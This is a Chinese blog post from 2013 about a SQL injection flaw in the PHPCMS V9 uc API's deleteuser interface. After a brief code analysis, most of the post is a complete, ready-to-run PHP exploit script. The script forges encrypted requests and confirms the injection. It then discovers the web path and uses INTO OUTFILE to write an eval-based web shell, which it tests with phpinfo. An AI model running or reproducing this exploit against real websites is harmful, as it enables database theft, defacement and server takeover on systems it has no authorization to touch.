关注Linux 及系统架构: PHPCMS V9 uc API SQL注入漏洞

2013年4月16日星期二

PHPCMS V9 uc API SQL注入漏洞

PHPCMS V9版于2010年推出，是应用较为广泛的建站工具。第三方数据显示，目前使用PHPCMS V9搭建的网站数量多达数十万个，包括联合国儿童基金会等机构网站，以及大批企业网站均使用PHPCMS V9搭建和维护。

所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞，可能使黑客利用漏洞篡改网页、窃取数据库，甚至控制服务器。未启用ucenter服务的情况下，uc_key为空，define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限，可直接get webshell。

漏洞分析：
1.未启用ucenter服务的情况下uc_key为空
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
2. deleteuser接口存在SQL注入漏洞，UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
public function deleteuser($get,$post) {
pc_base::load_app_func('global', 'admin');
pc_base::load_app_class('messagequeue', 'admin' , 0);
$ids = new_stripslashes($get['ids']);
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
SQL语句为
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)

利用代码，随便拼了个EXP，找路径正则写得很挫有BUG，没有注其他表了，懒得改了，MYSQL有权限的话直接get webshell
<?php
print_r('
---------------------------------------------------------------------------
PHPcms (v9 or Old Version) uc api sql injection 0day
by rayh4c#80sec.com
---------------------------------------------------------------------------
');

if ($argc<3) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to phpcms
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /
php '.$argv[0].' localhost /phpcms/ -p81
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
---------------------------------------------------------------------------
');
die;
}

error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function send($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
$parts[1]=(int)$parts[1];
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=(int)str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

$ckey_length = 4;

$key = md5($key ? $key : '');
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}

}

$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
if(strpos($html,"MySQL Errno") > 0){
echo "[2] 发现存在SQL注入漏洞"."\n";
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
//print_r($matches);
if(!empty($matches)){
echo "[4] 得到web路径 " . $matches[0]."\n";
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
$SQL = "time=999999999999999999999999&ids=1)";
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
$SQL.="&action=deleteuser";
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
if(strpos($html,"Access denied") > 0){
echo "[-] MYSQL权限过低禁止写入文件 :(";
die;
}
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
if(strpos($html,"phpinfo()") > 0){
echo "[7] 测试phpinfo成功！shell密码是a ! enjoy it :)";
}
}else{
echo "[-]未取到web路径 :(";
}
}else{
echo "[*]不存在SQL注入漏洞"."\n";
}

?>

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2013年4月16日星期二

PHPCMS V9 uc API SQL注入漏洞

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